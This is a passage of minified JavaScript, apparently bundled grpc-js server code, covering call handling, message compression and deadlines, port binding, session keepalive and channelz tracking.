J=hj1.Metadata.fromHttp2Headers(K);if(Yn7.isTracerEnabled(zn7))z3A("Request to "+this.handler.path+" received headers "+JSON.stringify(J.toJSON()));let O=J.get(IC6);if(O.length>0)this.handleTimeoutHeader(O[0]);let X=J.get(SC6);if(X.length>0)this.incomingEncoding=X[0];J.remove(IC6),J.remove(SC6),J.remove(Xn7),J.remove(vjA.constants.HTTP2_HEADER_ACCEPT_ENCODING),J.remove(vjA.constants.HTTP2_HEADER_TE),J.remove(vjA.constants.HTTP2_HEADER_CONTENT_TYPE),this.metadata=J;let $=(H=A.session)===null||H===void 0?void 0:H.socket;this.connectionInfo={localAddress:$===null||$===void 0?void 0:$.localAddress,localPort:$===null||$===void 0?void 0:$.localPort,remoteAddress:$===null||$===void 0?void 0:$.remoteAddress,remotePort:$===null||$===void 0?void 0:$.remotePort},this.shouldSendMetrics=!!z["grpc.server_call_metric_recording"]}handleTimeoutHeader(A){let K=A.toString().match(XH2);if(K===null){let z={code:gf.Status.INTERNAL,details:`Invalid ${IC6} value "${A}"`,metadata:null};process.nextTick(()=>{this.sendStatus(z)});return}let q=+K[1]*$H2[K[2]]|0,Y=new Date;this.deadline=Y.setMilliseconds(Y.getMilliseconds()+q),this.deadlineTimer=setTimeout(()=>{let z={code:gf.Status.DEADLINE_EXCEEDED,details:"Deadline exceeded",metadata:null};this.sendStatus(z)},q)}checkCancelled(){if(!this.cancelled&&(this.stream.destroyed||this.stream.closed))this.notifyOnCancel(),this.cancelled=!0;return this.cancelled}notifyOnCancel(){if(this.cancelNotified)return;if(this.cancelNotified=!0,this.cancelled=!0,process.nextTick(()=>{var A;(A=this.listener)===null||A===void 0||A.onCancel()}),this.deadlineTimer)clearTimeout(this.deadlineTimer);this.stream.resume()}maybeSendMetadata(){if(!this.metadataSent)this.sendMetadata(new hj1.Metadata)}serializeMessage(A){let K=this.handler.serialize(A),q=K.byteLength,Y=Buffer.allocUnsafe(q+5);return Y.writeUInt8(0,0),Y.writeUInt32BE(q,1),K.copy(Y,5),Y}decompressMessage(A,K){let q=A.subarray(5);if(K==="identity")return q;else if(K==="deflate"||K==="gzip"){let Y;if(K==="deflate")Y=ti7.createInflate();else Y=ti7.createGunzip();return new Promise((z,w)=>{let H=0,J=[];Y.on("data",(O)=>{if(J.push(O),H+=O.byteLength,this.maxReceiveMessageSize!==-1&&H>this.maxReceiveMessageSize)Y.destroy(),w({code:gf.Status.RESOURCE_EXHAUSTED,details:`Received message that decompresses to a size larger than ${this.maxReceiveMessageSize}`})}),Y.on("end",()=>{z(Buffer.concat(J))}),Y.write(q),Y.end()})}else return Promise.reject({code:gf.Status.UNIMPLEMENTED,details:`Received message compressed with unsupported encoding "${K}"`})}async decompressAndMaybePush(A){if(A.type!=="COMPRESSED")throw Error(`Invalid queue entry type: ${A.type}`);let q=A.compressedMessage.readUInt8(0)===1?this.incomingEncoding:"identity",Y;try{Y=await this.decompressMessage(A.compressedMessage,q)}catch(z){this.sendStatus(z);return}try{A.parsedMessage=this.handler.deserialize(Y)}catch(z){this.sendStatus({code:gf.Status.INTERNAL,details:`Error deserializing request: ${z.message}`});return}A.type="READABLE",this.maybePushNextMessage()}maybePushNextMessage(){if(this.listener&&this.isReadPending&&this.readQueue.length>0&&this.readQueue[0].type!=="COMPRESSED"){this.isReadPending=!1;let A=this.readQueue.shift();if(A.type==="READABLE")this.listener.onReceiveMessage(A.parsedMessage);else this.listener.onReceiveHalfClose()}}handleDataFrame(A){var K;if(this.checkCancelled())return;z3A("Request to "+this.handler.path+" received data frame of size "+A.length);let q;try{q=this.decoder.write(A)}catch(Y){this.sendStatus({code:gf.Status.RESOURCE_EXHAUSTED,details:Y.message});return}for(let Y of q){this.stream.pause();let z={type:"COMPRESSED",compressedMessage:Y,parsedMessage:null};this.readQueue.push(z),this.decompressAndMaybePush(z),(K=this.callEventTracker)===null||K===void 0||K.addMessageReceived()}}handleEndEvent(){this.readQueue.push({type:"HALF_CLOSE",compressedMessage:null,parsedMessage:null}),this.receivedHalfClose=!0,this.maybePushNextMessage()}start(A){if(z3A("Request to "+this.handler.path+" start called"),this.checkCancelled())return;this.listener=A,A.onReceiveMetadata(this.metadata)}sendMetadata(A){if(this.checkCancelled())return;if(this.metadataSent)return;this.metadataSent=!0;let K=A?A.toHttp2Headers():null,q=Object.assign(Object.assign(Object.assign({},qn7),_H2),K);this.stream.respond(q,GH2)}sendMessage(A,K){if(this.checkCancelled())return;let q;try{q=this.serializeMessage(A)}catch(Y){this.sendStatus({code:gf.Status.INTERNAL,details:`Error serializing response: ${(0,si7.getErrorMessage)(Y)}`,metadata:null});return}if(this.maxSendMessageSize!==-1&&q.length-5>this.maxSendMessageSize){this.sendStatus({code:gf.Status.RESOURCE_EXHAUSTED,details:`Sent message larger than max (${q.length} vs. ${this.maxSendMessageSize})`,metadata:null});return}this.maybeSendMetadata(),z3A("Request to "+this.handler.path+" sent data frame of size "+q.length),this.stream.write(q,(Y)=>{var z;if(Y){this.sendStatus({code:gf.Status.INTERNAL,details:`Error writing message: ${(0,si7.getErrorMessage)(Y)}`,metadata:null});return}(z=this.callEventTracker)===null||z===void 0||z.addMessageSent(),K()})}sendStatus(A){var K,q,Y;if(this.checkCancelled())return;z3A("Request to method "+((K=this.handler)===null||K===void 0?void 0:K.path)+" ended with status code: "+gf.Status[A.code]+" details: "+A.details);let z=(Y=(q=A.metadata)===null||q===void 0?void 0:q.clone())!==null&&Y!==void 0?Y:new hj1.Metadata;if(this.shouldSendMetrics)z.set(ei7.GRPC_METRICS_HEADER,this.metricsRecorder.serialize());if(this.metadataSent)if(!this.wantTrailers)this.wantTrailers=!0,this.stream.once("wantTrailers",()=>{if(this.callEventTracker&&!this.streamEnded)this.streamEnded=!0,this.callEventTracker.onStreamEnd(!0),this.callEventTracker.onCallEnd(A);let w=Object.assign({[Kn7]:A.code,[An7]:encodeURI(A.details)},z.toHttp2Headers());this.stream.sendTrailers(w),this.notifyOnCancel()}),this.stream.end();else this.notifyOnCancel();else{if(this.callEventTracker&&!this.streamEnded)this.streamEnded=!0,this.callEventTracker.onStreamEnd(!0),this.callEventTracker.onCallEnd(A);let w=Object.assign(Object.assign({[Kn7]:A.code,[An7]:encodeURI(A.details)},qn7),z.toHttp2Headers());this.stream.respond(w,{endStream:!0}),this.notifyOnCancel()}}startRead(){if(z3A("Request to "+this.handler.path+" startRead called"),this.checkCancelled())return;if(this.isReadPending=!0,this.readQueue.length===0){if(!this.receivedHalfClose)this.stream.resume()}else this.maybePushNextMessage()}getPeer(){var A;let K=(A=this.stream.session)===null||A===void 0?void 0:A.socket;if(K===null||K===void 0?void 0:K.remoteAddress)if(K.remotePort)return`${K.remoteAddress}:${K.remotePort}`;else return K.remoteAddress;else return"unknown"}getDeadline(){return this.deadline}getHost(){return this.host}getAuthContext(){var A;if(((A=this.stream.session)===null||A===void 0?void 0:A.socket)instanceof JH2.TLSSocket){let K=this.stream.session.socket.getPeerCertificate();return{transportSecurityType:"ssl",sslPeerCertificate:K.raw?K:void 0}}else return{}}getConnectionInfo(){return this.connectionInfo}getMetricsRecorder(){return this.metricsRecorder}}$n7.BaseServerInterceptingCall=hC6;function ZH2(A,K,q,Y,z,w){let H={path:z.path,requestStream:z.type==="clientStream"||z.type==="bidi",responseStream:z.type==="serverStream"||z.type==="bidi",requestDeserialize:z.deserialize,responseSerialize:z.serialize},J=new hC6(K,q,Y,z,w);return A.reduce((O,X)=>{return X(H,O)},J)}});var Pn7=v((jt)=>{var VH2=jt&&jt.__runInitializers||function(A,K,q){var Y=arguments.length>2;for(var z=0;z<K.length;z++)q=Y?K[z].call(A,q):K[z].call(A);return Y?q:void 0},fH2=jt&&jt.__esDecorate||function(A,K,q,Y,z,w){function H(M){if(M!==void 0&&typeof M!=="function")throw TypeError("Function expected");return M}var J=Y.kind,O=J==="getter"?"get":J==="setter"?"set":"value",X=!K&&A?Y.static?A:A.prototype:null,$=K||(X?Object.getOwnPropertyDescriptor(X,Y.name):{}),_,G=!1;for(var Z=q.length-1;Z>=0;Z--){var W={};for(var D in Y)W[D]=D==="access"?{}:Y[D];for(var D in Y.access)W.access[D]=Y.access[D];W.addInitializer=function(M){if(G)throw TypeError("Cannot add initializers after decoration has completed");w.push(H(M||null))};var j=(0,q[Z])(J==="accessor"?{get:$.get,set:$.set}:$[O],W);if(J==="accessor"){if(j===void 0)continue;if(j===null||typeof j!=="object")throw TypeError("Object expected");if(_=H(j.get))$.get=_;if(_=H(j.set))$.set=_;if(_=H(j.init))z.unshift(_)}else if(_=H(j))if(J==="field")z.unshift(_);else $[O]=_}if(X)Object.defineProperty(X,Y.name,$);G=!0};Object.defineProperty(jt,"__esModule",{value:!0});jt.Server=void 0;var Ff=CA("http2"),NH2=CA("util"),GX=K9(),CjA=xi7(),xC6=Lj1(),Gn7=jS(),kjA=Lw(),Dt=mf(),TS=zP(),j_=Gt(),Zn7=bC6(),EjA=2147483647,uC6=2147483647,TH2=20000,Wn7=2147483647,{HTTP2_HEADER_PATH:Dn7}=Ff.constants,vH2="server",jn7=Buffer.from("max_age");function Mn7(A){kjA.trace(GX.LogVerbosity.DEBUG,"server_call",A)}function EH2(){}function kH2(A){return function(K,q){return NH2.deprecate(K,A)}}function BC6(A){return{code:GX.Status.UNIMPLEMENTED,details:`The server does not implement the method ${A}`}}function CH2(A,K){let q=BC6(K);switch(A){case"unary":return(Y,z)=>{z(q,null)};case"clientStream":return(Y,z)=>{z(q,null)};case"serverStream":return(Y)=>{Y.emit("error",q)};case"bidi":return(Y)=>{Y.emit("error",q)};default:throw Error(`Invalid handlerType ${A}`)}}var LH2=(()=>{var A;let K=[],q;return A=class{constructor(z){var w,H,J,O,X,$;if(this.boundPorts=(VH2(this,K),new Map),this.http2Servers=new Map,this.sessionIdleTimeouts=new Map,this.handlers=new Map,this.sessions=new Map,this.started=!1,this.shutdown=!1,this.serverAddressString="null",this.channelzEnabled=!0,this.options=z!==null&&z!==void 0?z:{},this.options["grpc.enable_channelz"]===0)this.channelzEnabled=!1,this.channelzTrace=new j_.ChannelzTraceStub,this.callTracker=new j_.ChannelzCallTrackerStub,this.listenerChildrenTracker=new j_.ChannelzChildrenTrackerStub,this.sessionChildrenTracker=new j_.ChannelzChildrenTrackerStub;else this.channelzTrace=new j_.ChannelzTrace,this.callTracker=new j_.ChannelzCallTracker,this.listenerChildrenTracker=new j_.ChannelzChildrenTracker,this.sessionChildrenTracker=new j_.ChannelzChildrenTracker;if(this.channelzRef=(0,j_.registerChannelzServer)("server",()=>this.getChannelzInfo(),this.channelzEnabled),this.channelzTrace.addTrace("CT_INFO","Server created"),this.maxConnectionAgeMs=(w=this.options["grpc.max_connection_age_ms"])!==null&&w!==void 0?w:EjA,this.maxConnectionAgeGraceMs=(H=this.options["grpc.max_connection_age_grace_ms"])!==null&&H!==void 0?H:EjA,this.keepaliveTimeMs=(J=this.options["grpc.keepalive_time_ms"])!==null&&J!==void 0?J:uC6,this.keepaliveTimeoutMs=(O=this.options["grpc.keepalive_timeout_ms"])!==null&&O!==void 0?O:TH2,this.sessionIdleTimeout=(X=this.options["grpc.max_connection_idle_ms"])!==null&&X!==void 0?X:Wn7,this.commonServerOptions={maxSendHeaderBlockLength:Number.MAX_SAFE_INTEGER},"grpc-node.max_session_memory"in this.options)this.commonServerOptions.maxSessionMemory=this.options["grpc-node.max_session_memory"];else this.commonServerOptions.maxSessionMemory=Number.MAX_SAFE_INTEGER;if("grpc.max_concurrent_streams"in this.options)this.commonServerOptions.settings={maxConcurrentStreams:this.options["grpc.max_concurrent_streams"]};this.interceptors=($=this.options.interceptors)!==null&&$!==void 0?$:[],this.trace("Server constructed")}getChannelzInfo(){return{trace:this.channelzTrace,callTracker:this.callTracker,listenerChildren:this.listenerChildrenTracker.getChildLists(),sessionChildren:this.sessionChildrenTracker.getChildLists()}}getChannelzSessionInfo(z){var w,H,J;let O=this.sessions.get(z),X=z.socket,$=X.remoteAddress?(0,Dt.stringToSubchannelAddress)(X.remoteAddress,X.remotePort):null,_=X.localAddress?(0,Dt.stringToSubchannelAddress)(X.localAddress,X.localPort):null,G;if(z.encrypted){let W=X,D=W.getCipher(),j=W.getCertificate(),M=W.getPeerCertificate();G={cipherSuiteStandardName:(w=D.standardName)!==null&&w!==void 0?w:null,cipherSuiteOtherName:D.standardName?null:D.name,localCertificate:j&&"raw"in j?j.raw:null,remoteCertificate:M&&"raw"in M?M.raw:null}}else G=null;return{remoteAddress:$,localAddress:_,security:G,remoteName:null,streamsStarted:O.streamTracker.callsStarted,streamsSucceeded:O.streamTracker.callsSucceeded,streamsFailed:O.streamTracker.callsFailed,messagesSent:O.messagesSent,messagesReceived:O.messagesReceived,keepAlivesSent:O.keepAlivesSent,lastLocalStreamCreatedTimestamp:null,lastRemoteStreamCreatedTimestamp:O.streamTracker.lastCallStartedTimestamp,lastMessageSentTimestamp:O.lastMessageSentTimestamp,lastMessageReceivedTimestamp:O.lastMessageReceivedTimestamp,localFlowControlWindow:(H=z.state.localWindowSize)!==null&&H!==void 0?H:null,remoteFlowControlWindow:(J=z.state.remoteWindowSize)!==null&&J!==void 0?J:null}}trace(z){kjA.trace(GX.LogVerbosity.DEBUG,vH2,"("+this.channelzRef.id+") "+z)}keepaliveTrace(z){kjA.trace(GX.LogVerbosity.DEBUG,"keepalive","("+this.channelzRef.id+") "+z)}addProtoService(){throw Error("Not implemented. Use addService() instead")}addService(z,w){if(z===null||typeof z!=="object"||w===null||typeof w!=="object")throw Error("addService() requires two objects as arguments");let H=Object.keys(z);if(H.length===0)throw Error("Cannot add an empty service to a server");H.forEach((J)=>{let O=z[J],X;if(O.requestStream)if(O.responseStream)X="bidi";else X="clientStream";else if(O.responseStream)X="serverStream";else X="unary";let $=w[J],_;if($===void 0&&typeof O.originalName==="string")$=w[O.originalName];if($!==void 0)_=$.bind(w);else _=CH2(X,J);if(this.register(O.path,_,O.responseSerialize,O.requestDeserialize,X)===!1)throw Error(`Method handler for ${O.path} already provided.`)})}removeService(z){if(z===null||typeof z!=="object")throw Error("removeService() requires object as argument");Object.keys(z).forEach((H)=>{let J=z[H];this.unregister(J.path)})}bind(z,w){throw Error("Not implemented. Use bindAsync() instead")}experimentalRegisterListenerToChannelz(z){return(0,j_.registerChannelzSocket)((0,Dt.subchannelAddressToString)(z),()=>{return{localAddress:z,remoteAddress:null,security:null,remoteName:null,streamsStarted:0,streamsSucceeded:0,streamsFailed:0,messagesSent:0,messagesReceived:0,keepAlivesSent:0,lastLocalStreamCreatedTimestamp:null,lastRemoteStreamCreatedTimestamp:null,lastMessageSentTimestamp:null,lastMessageReceivedTimestamp:null,localFlowControlWindow:null,remoteFlowControlWindow:null}},this.channelzEnabled)}experimentalUnregisterListenerFromChannelz(z){(0,j_.unregisterChannelzRef)(z)}createHttp2Server(z){let w;if(z._isSecure()){let H=z._getConstructorOptions(),J=z._getSecureContextOptions(),O=Object.assign(Object.assign(Object.assign(Object.assign({},this.commonServerOptions),H),J),{enableTrace:this.options["grpc-node.tls_enable_trace"]===1}),X=J!==null;this.trace("Initial credentials valid: "+X),w=Ff.createSecureServer(O),w.prependListener("connection",(_)=>{if(!X)this.trace("Dropped connection from "+JSON.stringify(_.address())+" due to unloaded credentials"),_.destroy()}),w.on("secureConnection",(_)=>{_.on("error",(G)=>{this.trace("An incoming TLS connection closed with error: "+G.message)})});let $=(_)=>{if(_){let G=w;try{G.setSecureContext(_)}catch(Z){kjA.log(GX.LogVerbosity.ERROR,"Failed to set secure context with error "+Z.message),_=null}}X=_!==null,this.trace("Post-update credentials valid: "+X)};z._addWatcher($),w.on("close",()=>{z._removeWatcher($)})}else w=Ff.createServer(this.commonServerOptions);return w.setTimeout(0,EH2),this._setupHandlers(w,z._getInterceptors()),w}bindOneAddress(z,w){this.trace("Attempting to bind "+(0,Dt.subchannelAddressToString)(z));let H=this.createHttp2Server(w.credentials);return new Promise((J,O)=>{let X=($)=>{this.trace("Failed to bind "+(0,Dt.subchannelAddressToString)(z)+" with error "+$.message),J({port:"port"in z?z.port:1,error:$.message})};H.once("error",X),H.listen(z,()=>{let $=H.address(),_;if(typeof $==="string")_={path:$};else _={host:$.address,port:$.port};let G=this.experimentalRegisterListenerToChannelz(_);this.listenerChildrenTracker.refChild(G),this.http2Servers.set(H,{channelzRef:G,sessions:new Set,ownsChannelzRef:!0}),w.listeningServers.add(H),this.trace("Successfully bound "+(0,Dt.subchannelAddressToString)(_)),J({port:"port"in _?_.port:1}),H.removeListener("error",X)})})}async bindManyPorts(z,w){if(z.length===0)return{count:0,port:0,errors:[]};if((0,Dt.isTcpSubchannelAddress)(z[0])&&z[0].port===0){let H=await this.bindOneAddress(z[0],w);if(H.error){let J=await this.bindManyPorts(z.slice(1),w);return Object.assign(Object.assign({},J),{errors:[H.error,...J.errors]})}else{let J=z.slice(1).map(($)=>(0,Dt.isTcpSubchannelAddress)($)?{host:$.host,port:H.port}:$),O=await Promise.all(J.map(($)=>this.bindOneAddress($,w))),X=[H,...O];return{count:X.filter(($)=>$.error===void 0).length,port:H.port,errors:X.filter(($)=>$.error).map(($)=>$.error)}}}else{let H=await Promise.all(z.map((J)=>this.bindOneAddress(J,w)));return{count:H.filter((J)=>J.error===void 0).length,port:H[0].port,errors:H.filter((J)=>J.error).map((J)=>J.error)}}}async bindAddressList(z,w){let H=await this.bindManyPorts(z,w);if(H.count>0){if(H.count<z.length)kjA.log(GX.LogVerbosity.INFO,`WARNING Only ${H.count} addresses added out of total ${z.length} resolved`);return H.port}else{let J=`No address added out of total ${z.length} resolved`;throw kjA.log(GX.LogVerbosity.ERROR,J),Error(`${J} errors: [${H.errors.join(",")}]`)}}resolvePort(z){return new Promise((w,H)=>{let J=!1,O=($,_,G,Z)=>{if(J)return!0;if(J=!0,!$.ok)return H(Error($.error.details)),!0;let W=[].concat(...$.value.map((D)=>D.addresses));if(W.length===0)return H(Error(`No addresses resolved for port ${z}`)),!0;return w(W),!0};(0,Gn7.createResolver)(z,O,this.options).updateResolution()})}async bindPort(z,w){let H=await this.resolvePort(z);if(w.cancelled)throw this.completeUnbind(w),Error("bindAsync operation cancelled by unbind call");let J=await this.bindAddressList(H,w);if(w.cancelled)throw this.completeUnbind(w),Error("bindAsync operation cancelled by unbind call");return J}normalizePort(z){let w=(0,TS.parseUri)(z);if(w===null)throw Error(`Could not parse port "${z}"`);let H=(0,Gn7.mapUriDefaultScheme)(w);if(H===null)throw Error(`Could not get a default scheme for port "${z}"`);return H}bindAsync(z,w,H){if(this.shutdown)throw Error("bindAsync called after shutdown");if(typeof z!=="string")throw TypeError("port must be a string");if(w===null||!(w instanceof xC6.ServerCredentials))throw TypeError("creds must be a ServerCredentials object");if(typeof H!=="function")throw TypeError("callback must be a function");this.trace("bindAsync port="+z);let J=this.normalizePort(z),O=(G,Z)=>{process.nextTick(()=>H(G,Z))},X=this.boundPorts.get((0,TS.uriToString)(J));if(X){if(!w._equals(X.credentials)){O(Error(`${z} already bound with incompatible credentials`),0);return}if(X.cancelled=!1,X.completionPromise)X.completionPromise.then((G)=>H(null,G),(G)=>H(G,0));else O(null,X.portNumber);return}X={mapKey:(0,TS.uriToString)(J),originalUri:J,completionPromise:null,cancelled:!1,portNumber:0,credentials:w,listeningServers:new Set};let $=(0,TS.splitHostPort)(J.path),_=this.bindPort(J,X);if(X.completionPromise=_,($===null||$===void 0?void 0:$.port)===0)_.then((G)=>{let Z={scheme:J.scheme,authority:J.authority,path:(0,TS.combineHostPort)({host:$.host,port:G})};X.mapKey=(0,TS.uriToString)(Z),X.completionPromise=null,X.portNumber=G,this.boundPorts.set(X.mapKey,X),H(null,G)},(G)=>{H(G,0)});else this.boundPorts.set(X.mapKey,X),_.then((G)=>{X.completionPromise=null,X.portNumber=G,H(null,G)},(G)=>{H(G,0)})}registerInjectorToChannelz(){return(0,j_.registerChannelzSocket)("injector",()=>{return{localAddress:null,remoteAddress:null,security:null,remoteName:null,streamsStarted:0,streamsSucceeded:0,streamsFailed:0,messagesSent:0,messagesReceived:0,keepAlivesSent:0,lastLocalStreamCreatedTimestamp:null,lastRemoteStreamCreatedTimestamp:null,lastMessageSentTimestamp:null,lastMessageReceivedTimestamp:null,localFlowControlWindow:null,remoteFlowControlWindow:null}},this.channelzEnabled)}experimentalCreateConnectionInjectorWithChannelzRef(z,w,H=!1){if(z===null||!(z instanceof xC6.ServerCredentials))throw TypeError("creds must be a ServerCredentials object");if(this.channelzEnabled)this.listenerChildrenTracker.refChild(w);let J=this.createHttp2Server(z),O=new Set;return this.http2Servers.set(J,{channelzRef:w,sessions:O,ownsChannelzRef:H}),{injectConnection:(X)=>{J.emit("connection",X)},drain:(X)=>{var $,_;for(let G of O)this.closeSession(G);(_=($=setTimeout(()=>{for(let G of O)G.destroy(Ff.constants.NGHTTP2_CANCEL)},X)).unref)===null||_===void 0||_.call($)},destroy:()=>{this.closeServer(J);for(let X of O)this.closeSession(X)}}}createConnectionInjector(z){if(z===null||!(z instanceof xC6.ServerCredentials))throw TypeError("creds must be a ServerCredentials object");let w=this.registerInjectorToChannelz();return this.experimentalCreateConnectionInjectorWithChannelzRef(z,w,!0)}closeServer(z,w){this.trace("Closing server with address "+JSON.stringify(z.address()));let H=this.http2Servers.get(z);z.close(()=>{if(H&&H.ownsChannelzRef)this.listenerChildrenTracker.unrefChild(H.channelzRef),(0,j_.unregisterChannelzRef)(H.channelzRef);this.http2Servers.delete(z),w===null||w===void 0||w()})}closeSession(z,w){var H;this.trace("Closing session initiated by "+((H=z.socket)===null||H===void 0?void 0:H.remoteAddress));let J=this.sessions.get(z),O=()=>{if(J)this.sessionChildrenTracker.unrefChild(J.ref),(0,j_.unregisterChannelzRef)(J.ref);w===null||w===void 0||w()};if(z.closed)queueMicrotask(O);else z.close(O)}completeUnbind(z){for(let w of z.listeningServers){let H=this.http2Servers.get(w);if(this.closeServer(w,()=>{z.listeningServers.delete(w)}),H)for(let J of H.sessions)this.closeSession(J)}this.boundPorts.delete(z.mapKey)}unbind(z){this.trace("unbind port="+z);let w=this.normalizePort(z),H=(0,TS.splitHostPort)(w.path);if((H===null||H===void 0?void 0:H.port)===0)throw Error("Cannot unbind port 0");let J=this.boundPorts.get((0,TS.uriToString)(w));if(J)if(this.trace("unbinding "+J.mapKey+" originally bound as "+(0,TS.uriToString)(J.originalUri)),J.completionPromise)J.cancelled=!0;else this.completeUnbind(J)}drain(z,w){var H,J;this.trace("drain port="+z+" graceTimeMs="+w);let O=this.normalizePort(z),X=(0,TS.splitHostPort)(O.path);if((X===null||X===void 0?void 0:X.port)===0)throw Error("Cannot drain port 0");let $=this.boundPorts.get((0,TS.uriToString)(O));if(!$)return;let _=new Set;for(let G of $.listeningServers){let Z=this.http2Servers.get(G);if(Z)for(let W of Z.sessions)_.add(W),this.closeSession(W,()=>{_.delete(W)})}(J=(H=setTimeout(()=>{for(let G of _)G.destroy(Ff.constants.NGHTTP2_CANCEL)},w)).unref)===null||J===void 0||J.call(H)}forceShutdown(){for(let z of this.boundPorts.values())z.cancelled=!0;this.boundPorts.clear();for(let z of this.http2Servers.keys())this.closeServer(z);this.sessions.forEach((z,w)=>{this.closeSession(w),w.destroy(Ff.constants.NGHTTP2_CANCEL)}),this.sessions.clear(),(0,j_.unregisterChannelzRef)(this.channelzRef),this.shutdown=!0}register(z,w,H,J,O){if(this.handlers.has(z))return!1;return this.handlers.set(z,{func:w,serialize:H,deserialize:J,type:O,path:z}),!0}unregister(z){return this.handlers.delete(z)}start(){if(this.http2Servers.size===0||[...this.http2Servers.keys()].every((z)=>!z.listening))throw Error("server must be bound in order to start");if(this.started===!0)throw Error("server is already started");this.started=!0}tryShutdown(z){var w;let H=(X)=>{(0,j_.unregisterChannelzRef)(this.channelzRef),z(X)},J=0;function O(){if(J--,J===0)H()}this.shutdown=!0;for(let[X,$]of this.http2Servers.entries()){J++;let _=$.channelzRef.name;this.trace("Waiting for server "+_+" to close"),this.closeServer(X,()=>{this.trace("Server "+_+" finished closing"),O()});for(let G of $.sessions.keys()){J++;let Z=(w=G.socket)===null||w===void 0?void 0:w.remoteAddress;this.trace("Waiting for session "+Z+" to close"),this.closeSession(G,()=>{this.trace("Session "+Z+" finished closing"),O()})}}if(J===0)H()}addHttp2Port(){throw Error("Not yet implemented")}getChannelzRef(){return this.channelzRef}_verifyContentType(z,w){let H=w[Ff.constants.HTTP2_HEADER_CONTENT_TYPE];if(typeof H!=="string"||!H.startsWith("application/grpc"))return z.respond({[Ff.constants.HTTP2_HEADER_STATUS]:Ff.constants.HTTP_STATUS_UNSUPPORTED_MEDIA_TYPE},{endStream:!0}),!1;return!0}_retrieveHandler(z){Mn7("Received call to method "+z+" at address "+this.serverAddressString);let w=this.handlers.get(z);if(w===void 0)return Mn7("No handler registered for method "+z+". Sending UNIMPLEMENTED status."),null;return w}_respondWithError(z,w,H=null){var J,O;let X=Object.assign({"grpc-status":(J=z.code)!==null&&J!==void 0?J:GX.Status.INTERNAL,"grpc-message":z.details,[Ff.constants.HTTP2_HEADER_STATUS]:Ff.constants.HTTP_STATUS_OK,[Ff.constants.HTTP2_HEADER_CONTENT_TYPE]:"application/grpc+proto"},(O=z.metadata)===null||O===void 0?void 0:O.toHttp2Headers());w.respond(X,{endStream:!0}),this.callTracker.addCallFailed(),H===null||H===void 0||H.streamTracker.addCallFailed()}_channelzHandler(z,w,H){this.onStreamOpened(w);let J=this.sessions.get(w.session);if(this.callTracker.addCallStarted(),J===null||J===void 0||J.streamTracker.addCallStarted(),!this._verifyContentType(w,H)){this.callTracker.addCallFailed(),J===null||J===void 0||J.streamTracker.addCallFailed();return}let O=H[Dn7],X=this._retrieveHandler(O);if(!X){this._respondWithError(BC6(O),w,J);return}let $={addMessageSent:()=>{if(J)J.messagesSent+=1,J.lastMessageSentTimestamp=new Date},addMessageReceived:()=>{if(J)J.messagesReceived+=1,J.lastMessageReceivedTimestamp=new Date},onCallEnd:(G)=>{if(G.code===GX.Status.OK)this.callTracker.addCallSucceeded();else this.callTracker.addCallFailed()},onStreamEnd:(G)=>{if(J)if(G)J.streamTracker.addCallSucceeded();else J.streamTracker.addCallFailed()}},_=(0,Zn7.getServerInterceptingCall)([...z,...this.interceptors],w,H,$,X,this.options);if(!this._runHandlerForCall(_,X))this.callTracker.addCallFailed(),J===null||J===void 0||J.streamTracker.addCallFailed(),_.sendStatus({code:GX.Status.INTERNAL,details:`Unknown handler type: ${X.type}`})}_streamHandler(z,w,H){if(this.onStreamOpened(w),this._verifyContentType(w,H)!==!0)return;let J=H[Dn7],O=this._retrieveHandler(J);if(!O){this._respondWithError(BC6(J),w,null);return}let X=(0,Zn7.getServerInterceptingCall)([...z,...this.interceptors],w,H,null,O,this.options);if(!this._runHandlerForCall(X,O))X.sendStatus({code:GX.Status.INTERNAL,details:`Unknown handler type: ${O.type}`})}_runHandlerForCall(z,w){let{type:H}=w;if(H==="unary")RH2(z,w);else if(H==="clientStream")yH2(z,w);else if(H==="serverStream")IH2(z,w);else if(H==="bidi")SH2(z,w);else return!1;return!0}_setupHandlers(z,w){if(z===null)return;let H=z.address(),J="null";if(H)if(typeof H==="string")J=H;else J=H.address+":"+H.port;this.serverAddressString=J;let O=this.channelzEnabled?this._channelzHandler:this._streamHandler,X=this.channelzEnabled?this._channelzSessionHandler(z):this._sessionHandler(z);z.on("stream",O.bind(this,w)),z.on("session",X)}_sessionHandler(z){return(w)=>{var H,J;(H=this.http2Servers.get(z))===null||H===void 0||H.sessions.add(w);let O=null,X=null,$=null,_=!1,G=this.enableIdleTimeout(w);if(this.maxConnectionAgeMs!==EjA){let M=this.maxConnectionAgeMs/10,P=Math.random()*M*2-M;O=setTimeout(()=>{var f,N;_=!0,this.trace("Connection dropped by max connection age: "+((f=w.socket)===null||f===void 0?void 0:f.remoteAddress));try{w.goaway(Ff.constants.NGHTTP2_NO_ERROR,2147483647,jn7)}catch(T){w.destroy();return}if(w.close(),this.maxConnectionAgeGraceMs!==EjA)X=setTimeout(()=>{w.destroy()},this.maxConnectionAgeGraceMs),(N=X.unref)===null||N===void 0||N.call(X)},this.maxConnectionAgeMs+P),(J=O.unref)===null||J===void 0||J.call(O)}let Z=()=>{if($)clearTimeout($),$=null},W=()=>{return!w.destroyed&&this.keepaliveTimeMs<uC6&&this.keepaliveTimeMs>0},D,j=()=>{var M;if(!W())return;this.keepaliveTrace("Starting keepalive timer for "+this.keepaliveTimeMs+"ms"),$=setTimeout(()=>{Z(),D()},this.keepaliveTimeMs),(M=$.unref)===null||M===void 0||M.call($)};D=()=>{var M;if(!W())return;this.keepaliveTrace("Sending ping with timeout "+this.keepaliveTimeoutMs+"ms");let P="";try{if(!w.ping((N,T,C)=>{if(Z(),N)this.keepaliveTrace("Ping failed with error: "+N.message),_=!0,w.close();else this.keepaliveTrace("Received ping response"),j()}))P="Ping returned false"}catch(f){P=(f instanceof Error?f.message:"")||"Unknown error"}if(P){this.keepaliveTrace("Ping send failed: "+P),this.trace("Connection dropped due to ping send error: "+P),_=!0,w.close();return}$=setTimeout(()=>{Z(),this.keepaliveTrace("Ping timeout passed without response"),this.trace("Connection dropped by keepalive timeout"),_=!0,w.close()},this.keepaliveTimeoutMs),(M=$.unref)===null||M===void 0||M.call($)},j(),w.on("close",()=>{var M,P;if(!_)this.trace(`Connection dropped by client ${(M=w.socket)===null||M===void 0?void 0:M.remoteAddress}`);if(O)clearTimeout(O);if(X)clearTimeout(X);if(Z(),G!==null)clearTimeout(G.timeout),this.sessionIdleTimeouts.delete(w);(P=this.http2Servers.get(z))===null||P===void 0||P.sessions.delete(w)})}}_channelzSessionHandler(z){return(w)=>{var H,J,O,X;let $=(0,j_.registerChannelzSocket)((J=(H=w.socket)===null||H===void 0?void 